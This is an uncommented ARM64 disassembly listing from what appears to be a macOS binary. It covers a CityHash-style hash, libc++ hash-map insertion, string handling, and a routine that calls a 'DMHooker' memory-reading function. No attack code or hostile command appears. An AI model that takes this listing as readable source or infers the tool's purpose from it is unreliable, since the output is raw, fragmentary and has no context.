    100011b58madd x10, x10, x8, x0
    100011b5ceor x9, x10, x9
    100011b60madd x9, x9, x8, xzr
    100011b64eor x10, x9, x10
    100011b68eor x9, x10, x9, lsr #47
    100011b6cmadd x9, x9, x8, xzr
    100011b70eor x9, x9, x9, lsr #47
    100011b74madd x0, x9, x8, xzr
    100011b78
    100011b78loc_100011b78:
    100011b78ret x30
    100011b7c
    100011b7cloc_100011b7c:
    100011b7csubs xzr, x2, 4
    100011b80b.lo 0x100011bc8
    100011b84ldr w8, [x1]
    100011b88add x9, x1, x2
    100011b8cldur w9, [x9-4]
    100011b90ubfm w8, w8, 29, 28
    100011b94add x8, x8, x2
    100011b98eor x8, x8, x9
    100011b9cmovz x10, 11625
    100011ba0movk x10, 0xeb380000
    100011ba4movk x10, 0xea0800000000
    100011ba8movk x10, 0x9ddf000000000000
    100011bacmadd x8, x8, x10, xzr
    100011bb0eor x9, x8, x9
    100011bb4eor x8, x9, x8, lsr #47
    100011bb8madd x8, x8, x10, xzr
    100011bbceor x8, x8, x8, lsr #47
    100011bc0madd x0, x8, x10, xzr
    100011bc4ret x30
    100011bc8
    100011bc8loc_100011bc8:
    100011bc8movz x0, 16463
    100011bccmovk x0, 0x2f900000
    100011bd0movk x0, 0x6a3b00000000
    100011bd4movk x0, 0x9ae1000000000000
    100011bd8cbz x2, 0x100011b78
    100011bdcldrb w8, [x1]
    100011be0ubfm x9, x2, 1, 63
    100011be4ldrb w9, [x1+x9]
    100011be8add x10, x2, x1
    100011becldurb w10, [x10-1]
    100011bf0bfm x8, x9, 56, 7
    100011bf4add x9, x2, x10, lsl #2
    100011bf8madd x8, x8, x0, xzr
    100011bfcmovz x10, 25943
    100011c00movk x10, 0x509e0000
    100011c04movk x10, 0xd7c700000000
    100011c08movk x10, 0xc949000000000000
    100011c0cmadd x9, x9, x10, xzr
    100011c10eor x8, x9, x8
    100011c14eor x8, x8, x8, lsr #47
    100011c18madd x0, x8, x0, xzr
    100011c1cret x30
    1000117c8
    100011c20
    100011c20fn_100011c20:
    100011c20pacibsp
    100011c24sub sp, sp, 128
    100011c28stp x28, x27, [sp+32]
    100011c2cstp x26, x25, [sp+48]
    100011c30stp x24, x23, [sp+64]
    100011c34stp x22, x21, [sp+80]
    100011c38stp x20, x19, [sp+96]
    100011c3cstp x29, x30, [sp+112]
    100011c40add x29, sp, 112
    100011c44mov x21, x2
    100011c48mov x24, x1
    100011c4cmov x19, x0
    100011c50ldrb w8, [x1+23]
    100011c54sbfm w9, w8, 0, 7
    100011c58ldp x10, x11, [x1]
    100011c5csubs wzr, w9, 0
    100011c60csel x1, x10, x1, lt
    100011c64csel x2, x11, x8, lt
    100011c68add x0, sp, 8
    100011c6cbl fn_1000117c8
    100011c70mov x20, x0
    100011c74ldr x25, [x19+8]
    100011c78cbz x25, 0x100011ca0
    100011c7cfmov d0, x25
    100011c80cnt v0.8b, v0.8b
    100011c84uaddlv h0, v0.8b
    100011c88fmov w8, s0
    100011c8csubs xzr, x8, 1
    100011c90b.hi 0x100011ca4
    100011c94sub x9, x25, 1
    100011c98and x26, x9, x20
    100011c9cb 0x100011cb8
    100011ca0
    100011ca0loc_100011ca0:
    100011ca0b 0x100011e5c
    100011ca4
    100011ca4loc_100011ca4:
    100011ca4mov x26, x20
    100011ca8subs xzr, x20, x25
    100011cacb.lo 0x100011cb8
    100011cb0udiv x9, x20, x25
    100011cb4msub x26, x9, x25, x20
    100011cb8
    100011cb8loc_100011cb8:
    100011cb8ldr x9, [x19]
    100011cbcldr x9, [x9+3*x26]
    100011cc0cbz x9, 0x100011e5c
    100011cc4ldr x22, [x9]
    100011cc8cbz x22, 0x100011e5c
    100011cccldrb w9, [x24+23]
    100011cd0sbfm w10, w9, 0, 7
    100011cd4subs wzr, w10, 0
    100011cd8ldp x11, x10, [x24]
    100011cdccsel x23, x10, x9, lt
    100011ce0csel x24, x11, x24, lt
    100011ce4subs xzr, x8, 2
    100011ce8b.hs 0x100011d9c
    100011cecsub x27, x25, 1
    100011cf0add x28, x24, 1
    100011cf4b 0x100011d00
    100011cf8
    100011cf8loc_100011cf8:
    100011cf8ldr x22, [x22]
    100011cfccbz x22, 0x100011e5c
    100011d00
    100011d00loc_100011d00:
    100011d00ldr x8, [x22+8]
    100011d04and x9, x8, x27
    100011d08subs xzr, x8, x20
    100011d0cccmp x9, x26, 4, ne
    100011d10b.ne 0x100011e5c
    100011d14ldrb w8, [x22+39]
    100011d18sbfm w9, w8, 0, 7
    100011d1cldr x10, [x22+24]
    100011d20subs wzr, w9, 0
    100011d24csel x9, x10, x8, lt
    100011d28subs xzr, x9, x23
    100011d2cb.ne 0x100011cf8
    100011d30add x10, x22, 16
    100011d34sbfm w11, w8, 0, 7
    100011d38ldr x9, [x10]
    100011d3csubs wzr, w11, 0
    100011d40csel x0, x9, x10, lt
    100011d44tbnz w8, 7, 0x100011d84
    100011d48cbz x23, 0x100011e54
    100011d4cldrb w10, [x24]
    100011d50subs wzr, w10, w9, uxtb
    100011d54b.ne 0x100011cf8
    100011d58movz x9, 0
    100011d5csub x8, x8, 1
    100011d60
    100011d60loc_100011d60:
    100011d60subs xzr, x8, x9
    100011d64b.eq 0x100011e54
    100011d68add x10, x22, x9
    100011d6cldrb w10, [x10+17]
    100011d70ldrb w11, [x28+x9]
    100011d74add x9, x9, 1
    100011d78subs wzr, w10, w11
    100011d7cb.eq 0x100011d60
    100011d80b 0x100011cf8
    100011d84
    100011d84loc_100011d84:
    100011d84cbz x23, 0x100011e54
    100011d88mov x1, x24
    100011d8cmov x2, x23
    100011d90bl memcmp@plt
    100011d94cbnz w0, 0x100011cf8
    100011d98b 0x100011e54
    100011d9c
    100011d9cloc_100011d9c:
    100011d9cadd x27, x24, 1
    100011da0b 0x100011dac
    100011da4
    100011da4loc_100011da4:
    100011da4ldr x22, [x22]
    100011da8cbz x22, 0x100011e5c
    100011dac
    100011dacloc_100011dac:
    100011dacldr x8, [x22+8]
    100011db0subs xzr, x8, x20
    100011db4b.eq 0x100011dd0
    100011db8subs xzr, x8, x25
    100011dbcb.lo 0x100011dc8
    100011dc0udiv x9, x8, x25
    100011dc4msub x8, x9, x25, x8
    100011dc8
    100011dc8loc_100011dc8:
    100011dc8subs xzr, x8, x26
    100011dccb.ne 0x100011e5c
    100011dd0
    100011dd0loc_100011dd0:
    100011dd0ldrb w8, [x22+39]
    100011dd4sbfm w9, w8, 0, 7
    100011dd8ldr x10, [x22+24]
    100011ddcsubs wzr, w9, 0
    100011de0csel x9, x10, x8, lt
    100011de4subs xzr, x9, x23
    100011de8b.ne 0x100011da4
    100011decadd x10, x22, 16
    100011df0sbfm w11, w8, 0, 7
    100011df4ldr x9, [x10]
    100011df8subs wzr, w11, 0
    100011dfccsel x0, x9, x10, lt
    100011e00tbnz w8, 7, 0x100011e40
    100011e04cbz x23, 0x100011e54
    100011e08ldrb w10, [x24]
    100011e0csubs wzr, w10, w9, uxtb
    100011e10b.ne 0x100011da4
    100011e14movz x9, 0
    100011e18sub x8, x8, 1
    100011e1c
    100011e1cloc_100011e1c:
    100011e1csubs xzr, x8, x9
    100011e20b.eq 0x100011e54
    100011e24add x10, x22, x9
    100011e28ldrb w10, [x10+17]
    100011e2cldrb w11, [x27+x9]
    100011e30add x9, x9, 1
    100011e34subs wzr, w10, w11
    100011e38b.eq 0x100011e1c
    100011e3cb 0x100011da4
    100011e40
    100011e40loc_100011e40:
    100011e40cbz x23, 0x100011e54
    100011e44mov x1, x24
    100011e48mov x2, x23
    100011e4cbl memcmp@plt
    100011e50cbnz w0, 0x100011da4
    100011e54
    100011e54loc_100011e54:
    100011e54movz x1, 0
    100011e58b 0x10001204c
    100011e5c
    100011e5cloc_100011e5c:
    100011e5cadd x23, x19, 16
    100011e60movz w0, 64
    100011e64bl _Znwm@plt
    100011e68mov x22, x0
    100011e6cstp x0, x23, [sp+8]
    100011e70strb wzr, [sp+24]
    100011e74add x0, x0, 16
    100011e78mov x1, x21
    100011e7cbl fn_100012130
    100011e80movz w8, 1
    100011e84strb w8, [sp+24]
    100011e88stp xzr, x20, [x22]
    100011e8cldr x8, [x19+24]
    100011e90add x8, x8, 1
    100011e94ucvtf s0, x8
    100011e98ucvtf s2, x25
    100011e9cldr s1, [x19+32]
    100011ea0fmul s2, s1, s2
    100011ea4fcmp s2, s0
    100011ea8ccmp x25, 0, 4, pl
    100011eacb.ne 0x100011fec
    100011eb0ubfm x8, x25, 63, 62
    100011eb4movz w9, 1
    100011eb8sub x10, x25, 1
    100011ebcands xzr, x25, x10
    100011ec0cset w10, ne
    100011ec4subs xzr, x25, 3
    100011ec8csel x9, x9, x10, lo
    100011eccorr x8, x9, x8
    100011ed0fdiv s0, s0, s1
    100011ed4fcvtpu x9, s0
    100011ed8subs xzr, x8, x9
    100011edccsel x21, x8, x9, hi
    100011ee0subs x8, x21, 1
    100011ee4b.ne 0x100011ef0
    100011ee8movz w21, 2
    100011eecb 0x100011f04
    100011ef0
    100011ef0loc_100011ef0:
    100011ef0ands xzr, x21, x8
    100011ef4b.eq 0x100011f04
    100011ef8mov x0, x21
    100011efcbl _ZNSt3__112__next_primeEm@plt
    100011f00mov x21, x0
    100011f04
    100011f04loc_100011f04:
    100011f04ldr x24, [x19+8]
    100011f08subs xzr, x21, x24
    100011f0cb.ls 0x100011f20
    100011f10
    100011f10loc_100011f10:
    100011f10mov x0, x19
    100011f14mov x1, x21
    100011f18bl fn_10000ae74
    100011f1cb 0x100011f8c
    100011f20
    100011f20loc_100011f20:
    100011f20b.hs 0x100011f8c
    100011f24ldr x8, [x19+24]
    100011f28ucvtf s0, x8
    100011f2cldr s1, [x19+32]
    100011f30fdiv s0, s0, s1
    100011f34fcvtpu x0, s0
    100011f38subs xzr, x24, 3
    100011f3cb.lo 0x100011f78
    100011f40fmov d0, x24
    100011f44cnt v0.8b, v0.8b
    100011f48uaddlv h0, v0.8b
    100011f4cfmov w8, s0
    100011f50subs xzr, x8, 1
    100011f54b.hi 0x100011f78
    100011f58sub x8, x0, 1
    100011f5cclz x8, x8
    100011f60sub x8, xzr, x8
    100011f64movz w9, 1
    100011f68lslv x8, x9, x8
    100011f6csubs xzr, x0, 2
    100011f70csel x0, x0, x8, lo
    100011f74b 0x100011f7c
    100011f78
    100011f78loc_100011f78:
    100011f78bl _ZNSt3__112__next_primeEm@plt
    100011f7c
    100011f7cloc_100011f7c:
    100011f7csubs xzr, x21, x0
    100011f80csel x21, x21, x0, hi
    100011f84subs xzr, x21, x24
    100011f88b.lo 0x100011f10
    100011f8c
    100011f8cloc_100011f8c:
    100011f8cldr x25, [x19+8]
    100011f90sub x8, x25, 1
    100011f94ands xzr, x25, x8
    100011f98b.ne 0x100011fe0
    100011f9cand x26, x8, x20
    100011fa0ldr x8, [x19]
    100011fa4ldr x9, [x8+3*x26]
    100011fa8cbnz x9, 0x100011ff8
    100011fac
    100011facloc_100011fac:
    100011facldr x9, [x23]
    100011fb0str x9, [x22]
    100011fb4str x22, [x23]
    100011fb8str x23, [x8+3*x26]
    100011fbcldr x8, [sp+8]
    100011fc0ldr x9, [x8]
    100011fc4cbz x9, 0x100012038
    100011fc8ldr x9, [x9+8]
    100011fccsub x10, x25, 1
    100011fd0ands xzr, x25, x10
    100011fd4b.ne 0x100012020
    100011fd8and x9, x9, x10
    100011fdcb 0x100012030
    100011fe0
    100011fe0loc_100011fe0:
    100011fe0subs xzr, x20, x25
    100011fe4b.hs 0x100012008
    100011fe8mov x26, x20
    100011fec
    100011fecloc_100011fec:
    100011fecldr x8, [x19]
    100011ff0ldr x9, [x8+3*x26]
    100011ff4cbz x9, 0x100011fac
    100011ff8
    100011ff8loc_100011ff8:
    100011ff8ldr x8, [x9]
    100011ffcstr x8, [x22]
    100012000str x22, [x9]
    100012004b 0x100012038
    100012008
    100012008loc_100012008:
    100012008udiv x8, x20, x25
    10001200cmsub x26, x8, x25, x20
    100012010ldr x8, [x19]
    100012014ldr x9, [x8+3*x26]
    100012018cbnz x9, 0x100011ff8
    10001201cb 0x100011fac
    100012020
    100012020loc_100012020:
    100012020subs xzr, x9, x25
    100012024b.lo 0x100012030
    100012028udiv x10, x9, x25
    10001202cmsub x9, x10, x25, x9
    100012030
    100012030loc_100012030:
    100012030ldr x10, [x19]
    100012034str x8, [x10+3*x9]
    100012038
    100012038loc_100012038:
    100012038ldr x22, [sp+8]
    10001203cldr x8, [x19+24]
    100012040add x8, x8, 1
    100012044str x8, [x19+24]
    100012048movz w1, 1
    10001204c
    10001204cloc_10001204c:
    10001204cmov x0, x22
    100012050ldp x29, x30, [sp+112]
    100012054ldp x20, x19, [sp+96]
    100012058ldp x22, x21, [sp+80]
    10001205cldp x24, x23, [sp+64]
    100012060ldp x26, x25, [sp+48]
    100012064ldp x28, x27, [sp+32]
    100012068add sp, sp, 128
    10001206cretab
    100012070b 0x100012074
    100012074
    100012074loc_100012074:
    100012074mov x19, x0
    100012078add x0, sp, 8
    10001207cbl fn_10001208c
    100012080mov x0, x19
    100012084bl _Unwind_Resume@plt
    100012088bl fn_100005128
    100011c20
    10001208c
    10001208cfn_10001208c:
    10001208cpacibsp
    100012090stp x22, x21, [sp-48]!
    100012094stp x20, x19, [sp+16]
    100012098stp x29, x30, [sp+32]
    10001209cadd x29, sp, 32
    1000120a0mov x19, x0
    1000120a4ldr x20, [x0]
    1000120a8str xzr, [x0]
    1000120accbz x20, 0x10001211c
    1000120b0ldrb w8, [x19+16]
    1000120b4cbz w8, 0x100012114
    1000120b8ldr x21, [x20+40]
    1000120bccbz x21, 0x100012104
    1000120c0ldr x8, [x20+48]
    1000120c4subs xzr, x8, x21
    1000120c8b.ne 0x1000120e0
    1000120ccmov x0, x21
    1000120d0b 0x1000120fc
    1000120d4
    1000120d4loc_1000120d4:
    1000120d4mov x8, x22
    1000120d8subs xzr, x22, x21
    1000120dcb.eq 0x1000120f8
    1000120e0
    1000120e0loc_1000120e0:
    1000120e0sub x22, x8, 24
    1000120e4ldursb w9, [x8-1]
    1000120e8tbz w9, 31, 0x1000120d4
    1000120ecldur x0, [x8-24]
    1000120f0bl _ZdlPv@plt
    1000120f4b 0x1000120d4
    1000120f8
    1000120f8loc_1000120f8:
    1000120f8ldr x0, [x20+40]
    1000120fc
    1000120fcloc_1000120fc:
    1000120fcstr x21, [x20+48]
    100012100bl _ZdlPv@plt
    100012104
    100012104loc_100012104:
    100012104ldrsb w8, [x20+39]
    100012108tbz w8, 31, 0x100012114
    10001210cldr x0, [x20+16]
    100012110bl _ZdlPv@plt
    100012114
    100012114loc_100012114:
    100012114mov x0, x20
    100012118bl _ZdlPv@plt
    10001211c
    10001211cloc_10001211c:
    10001211cmov x0, x19
    100012120ldp x29, x30, [sp+32]
    100012124ldp x20, x19, [sp+16]
    100012128ldp x22, x21, [sp], 48
    10001212cretab
    10001208c
    100012130
    100012130fn_100012130:
    100012130pacibsp
    100012134stp x24, x23, [sp-64]!
    100012138stp x22, x21, [sp+16]
    10001213cstp x20, x19, [sp+32]
    100012140stp x29, x30, [sp+48]
    100012144add x29, sp, 48
    100012148mov x20, x1
    10001214cmov x19, x0
    100012150ldrsb w8, [x1+23]
    100012154tbnz w8, 31, 0x10001216c
    100012158ldr q0, [x20]
    10001215cldr x8, [x20+16]
    100012160str x8, [x19+16]
    100012164str q0, [x19]
    100012168b 0x1000121b8
    10001216c
    10001216cloc_10001216c:
    10001216cldp x21, x23, [x20]
    100012170subs xzr, x23, 22
    100012174b.hi 0x100012184
    100012178strb w23, [x19+23]
    10001217cmov x0, x19
    100012180b 0x1000121ac
    100012184
    100012184loc_100012184:
    100012184orr x8, xzr, 0x7ffffffffffffff0
    100012188subs xzr, x23, x8
    10001218cb.hs 0x10001224c
    100012190add x8, x23, 16
    100012194and x22, x8, -16
    100012198mov x0, x22
    10001219cbl _Znwm@plt
    1000121a0orr x8, x22, 0x8000000000000000
    1000121a4stp x23, x8, [x19+8]
    1000121a8str x0, [x19]
    1000121ac
    1000121acloc_1000121ac:
    1000121acadd x2, x23, 1
    1000121b0mov x1, x21
    1000121b4bl memmove@plt
    1000121b8
    1000121b8loc_1000121b8:
    1000121b8mov x0, x19
    1000121bcstr xzr, [x0+24]!
    1000121c0mov x21, x0
    1000121c4str xzr, [x21+16]!
    1000121c8str xzr, [x0+8]
    1000121ccldp x9, x8, [x20+24]
    1000121d0subs x8, x8, x9
    1000121d4b.eq 0x10001222c
    1000121d8sbfm x9, x8, 3, 63
    1000121dcorr x10, xzr, 0xaaaaaaaaaaaaaaaa
    1000121e0movk x10, 43691
    1000121e4madd x23, x9, x10, xzr
    1000121e8orr x9, xzr, 0xaaaaaaaaaaaaaaaa
    1000121ecmovk x9, 43691
    1000121f0movk x9, 0xaaa000000000000
    1000121f4subs xzr, x23, x9
    1000121f8b.hs 0x100012244
    1000121fcmov x0, x8
    100012200bl _Znwm@plt
    100012204mov x22, x0
    100012208stp x0, x0, [x19+24]
    10001220cmovz w8, 24
    100012210madd x8, x23, x8, x0
    100012214str x8, [x19+40]
    100012218ldp x1, x2, [x20+24]
    10001221cmov x0, x21
    100012220mov x3, x22
    100012224bl fn_1000112d0
    100012228str x0, [x19+32]
    10001222c
    10001222cloc_10001222c:
    10001222cmov x0, x19
    100012230ldp x29, x30, [sp+48]
    100012234ldp x20, x19, [sp+32]
    100012238ldp x22, x21, [sp+16]
    10001223cldp x24, x23, [sp], 64
    100012240retab
    100012244
    100012244loc_100012244:
    100012244bl fn_100011498
    100012248brk 1
    10001224c
    10001224cloc_10001224c:
    10001224cmov x0, x19
    100012250bl fn_1000089dc
    100012254mov x20, x0
    100012258str x22, [x19+32]
    10001225cb 0x100012264
    100012260mov x20, x0
    100012264
    100012264loc_100012264:
    100012264ldrsb w8, [x19+23]
    100012268tbz w8, 31, 0x100012274
    10001226cldr x0, [x19]
    100012270bl _ZdlPv@plt
    100012274
    100012274loc_100012274:
    100012274mov x0, x20
    100012278bl _Unwind_Resume@plt
    100012130
    10001227c
    10001227cfn_10001227c:
    10001227cret x30
    10001227c
    100012280
    100012280fn_100012280:
    100012280b 0x10003d990
    100012280
    100012284
    100012284fn_100012284:
    100012284pacibsp
    100012288stp x20, x19, [sp-32]!
    10001228cstp x29, x30, [sp+16]
    100012290add x29, sp, 16
    100012294mov x19, x0
    100012298movz w0, 16
    10001229cbl _Znwm@plt
    1000122a0ldr x8, [x19+8]
    1000122a4adr x16, 0x32d3c
    1000122a8hint
    1000122acadd x16, x16, 16
    1000122b0mov x17, x0
    1000122b4movk x17, 0x530f000000000000
    1000122b8pacda x16, x17
    1000122bcstp x16, x8, [x0]
    1000122c0ldp x29, x30, [sp+16]
    1000122c4ldp x20, x19, [sp], 32
    1000122c8retab
    100012284
    1000122cc
    1000122ccfn_1000122cc:
    1000122ccldr x8, [x0+8]
    1000122d0adr x16, 0x32d10
    1000122d4hint
    1000122d8add x16, x16, 16
    1000122dcmov x17, x1
    1000122e0movk x17, 0x530f000000000000
    1000122e4pacda x16, x17
    1000122e8stp x16, x8, [x1]
    1000122ecret x30
    1000122cc
    1000122f0
    1000122f0fn_1000122f0:
    1000122f0ret x30
    1000122f0
    1000122f4
    1000122f4fn_1000122f4:
    1000122f4b 0x10003d990
    1000122f4
    1000122f8
    1000122f8fn_1000122f8:
    1000122f8pacibsp
    1000122fcsub sp, sp, 144
    100012300stp x24, x23, [sp+80]
    100012304stp x22, x21, [sp+96]
    100012308stp x20, x19, [sp+112]
    10001230cstp x29, x30, [sp+128]
    100012310add x29, sp, 128
    100012314ldr x9, [x1]
    100012318ldp x8, x20, [x9+16]
    10001231csubs xzr, x8, 0
    100012320ccmp x20, 0, 4, ne
    100012324b.eq 0x1000123e8
    100012328ldr x19, [x0+8]
    10001232cldr x0, [x19+80]
    100012330add x1, x8, 48
    100012334add x2, sp, 56
    100012338movz w3, 8
    10001233cbl __ZNK8DMHooker10readLengthEyyy
    100012340ldr x0, [x19+80]
    100012344add x1, x20, 48
    100012348add x2, sp, 48
    10001234cmovz w3, 8
    100012350bl __ZNK8DMHooker10readLengthEyyy
    100012354ldr x1, [x19+80]
    100012358ldr x2, [sp+56]
    10001235cldr x3, [x19+64]
    100012360add x0, sp, 24
    100012364bl fn_10001255c
    100012368ldr x1, [x19+80]
    10001236cldr x2, [sp+48]
    100012370ldr x3, [x19+64]
    100012374add x20, sp, 0
    100012378add x0, sp, 0
    10001237cbl fn_10001255c
    100012380add x0, x19, 24
    100012384stur x20, [x29-56]
    100012388adr x2, 0x30580
    10001238chint
    100012390add x1, sp, 0
    100012394sub x3, x29, 56
    100012398add x4, sp, 64
    10001239cbl fn_1000127f0
    1000123a0mov x19, x0
    1000123a4ldp x20, x8, [x0+48]
    1000123a8subs xzr, x20, x8
    1000123acb.eq 0x1000123cc
    1000123b0ldrsb w8, [sp+47]
    1000123b4tbnz w8, 31, 0x100012404
    1000123b8ldur q0, [sp+24]
    1000123bcldr x8, [sp+40]
    1000123c0str x8, [x20+16]
    1000123c4str q0, [x20]
    1000123c8b 0x100012450
    1000123cc
    1000123ccloc_1000123cc:
    1000123ccadd x0, x19, 40
    1000123d0add x1, sp, 24
    1000123d4bl fn_100012ccc
    1000123d8ldrsb w8, [sp+23]
    1000123dctbnz w8, 31, 0x100012460
    1000123e0
    1000123e0loc_1000123e0:
    1000123e0ldrsb w8, [sp+47]
    1000123e4tbnz w8, 31, 0x100012470
    1000123e8
    1000123e8loc_1000123e8:
    1000123e8movz w0, 1
    1000123ecldp x29, x30, [sp+128]
    1000123f0ldp x20, x19, [sp+112]
    1000123f4ldp x22, x21, [sp+96]
    1000123f8ldp x24, x23, [sp+80]
    1000123fcadd sp, sp, 144
    100012400retab
    100012404
    100012404loc_100012404:
    100012404ldp x21, x23, [sp+24]
    100012408subs xzr, x23, 22
    10001240cb.hi 0x10001241c
    100012410strb w23, [x20+23]
    100012414mov x0, x20
    100012418b 0x100012444
    10001241c
    10001241cloc_10001241c:
    10001241corr x8, xzr, 0x7ffffffffffffff0
    100012420subs xzr, x23, x8
    100012424b.hs 0x10001247c
    100012428add x8, x23, 16
    10001242cand x22, x8, -16
    100012430mov x0, x22
    100012434bl _Znwm@plt
    100012438orr x8, x22, 0x8000000000000000
    10001243cstp x23, x8, [x20+8]
    100012440str x0, [x20]
    100012444
    100012444loc_100012444:
    100012444add x2, x23, 1
    100012448mov x1, x21
    10001244cbl memmove@plt
    100012450
    100012450loc_100012450:
    100012450add x8, x20, 24
    100012454str x8, [x19+48]
    100012458ldrsb w8, [sp+23]
    10001245ctbz w8, 31, 0x1000123e0
    100012460
    100012460loc_100012460:
    100012460ldr x0, [sp]
    100012464bl _ZdlPv@plt
    100012468ldrsb w8, [sp+47]
    10001246ctbz w8, 31, 0x1000123e8
    100012470
    100012470loc_100012470:
    100012470ldr x0, [sp+24]
    100012474bl _ZdlPv@plt
    100012478b 0x1000123e8
    10001247c
    10001247cloc_10001247c:
    10001247cmov x0, x20
    100012480bl fn_1000089dc
    100012484brk 1
    100012488mov x21, x0
    10001248cstr x20, [x19+48]
    100012490b 0x1000124a8
    100012494mov x21, x0
    100012498ldrsb w8, [sp+47]
    10001249ctbz w8, 31, 0x1000124b8
    1000124a0b 0x1000124d0
    1000124a4mov x21, x0
    1000124a8
    1000124a8loc_1000124a8:
    1000124a8ldrsb w8, [sp+23]
    1000124actbnz w8, 31, 0x1000124c0
    1000124b0ldrsb w8, [sp+47]
    1000124b4tbnz w8, 31, 0x1000124d0
    1000124b8
    1000124b8loc_1000124b8:
    1000124b8mov x0, x21
    1000124bcbl _Unwind_Resume@plt
    1000124c0
    1000124c0loc_1000124c0:
    1000124c0ldr x0, [sp]
    1000124c4bl _ZdlPv@plt
    1000124c8ldrsb w8, [sp+47]
    1000124cctbz w8, 31, 0x1000124b8
    1000124d0
    1000124d0loc_1000124d0:
    1000124d0ldr x0, [sp+24]
    1000124d4bl _ZdlPv@plt
    1000124d8mov x0, x21
    1000124dcbl _Unwind_Resume@plt
    1000122f8